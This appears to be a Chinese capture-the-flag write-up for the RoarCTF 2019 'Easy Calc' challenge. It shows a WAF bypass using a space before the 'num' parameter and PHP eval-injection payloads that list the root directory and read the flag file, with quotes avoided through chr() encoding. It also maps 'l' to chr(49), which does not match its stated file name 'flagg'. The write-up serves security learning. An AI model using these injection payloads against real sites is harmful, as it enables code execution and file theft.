logo头像
Snippet 博客主题

RoarCTF 2019 Easy Calc 1

尝试后发现,只能输入数字,
在这里插入图片描述
查看网页源代码,可以看见calc.php,在这里插入图片描述
尝试打开calc.php,发现其过滤字符列表,如图:
在这里插入图片描述

可以打开,并且显示了源码

foreach 语法结构提供了遍历数组的简单方式。
语法:

1
2
3
4
foreach (array_expression as $value)
statement
foreach (array_expression as $key => $value)
statement

在这道题里,会对黑名单中的每一个值都拿出来连接成正则表达式的字符串,/m表示多行查找
其他几个参数:

1
2
3
4
5
/i (忽略大小写)
/g (全文查找出现的所有匹配字符)
/m (多行查找)
/gi(全文查找、忽略大小写)
/ig(全文查找、忽略大小写)

假如绕过的话,我们就可以用eval执行任意php语句

给num参数传参,发现只能传数字,说明与WAF问题,

WAF的问题:WAF不允许num传入字母,那我们可以在num前加个空格来绕过WAF

这里利用PHP的字符串解析特性来绕过WAF,如:

1
calc.php? num=phpinfo();

scandir(/)可以查看根目录下的所有文件,用chr()来绕过waf,注意在calc.php页面提交
所以就是:

1
2
3
? num=print_r(scandir('/'));
这里由于单引号被过滤了,那就用chr()绕过,chr(47)就是斜杠/
? num=print_r(scandir(chr(47)));

打开后,发现flagg文件,打开文件,即可发现flag,

1
2
3
? num=print_r(file_get_contents('/flagg'));
这里/=chr(47),f=chr(102),l=chr(49),a=chr(97),g=chr(103),g=chr(103)来进行绕过
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

总结;
1、scandir(‘/‘),foreach函数的运用
2、chr码的简单应用

评论系统未开启,无法评论!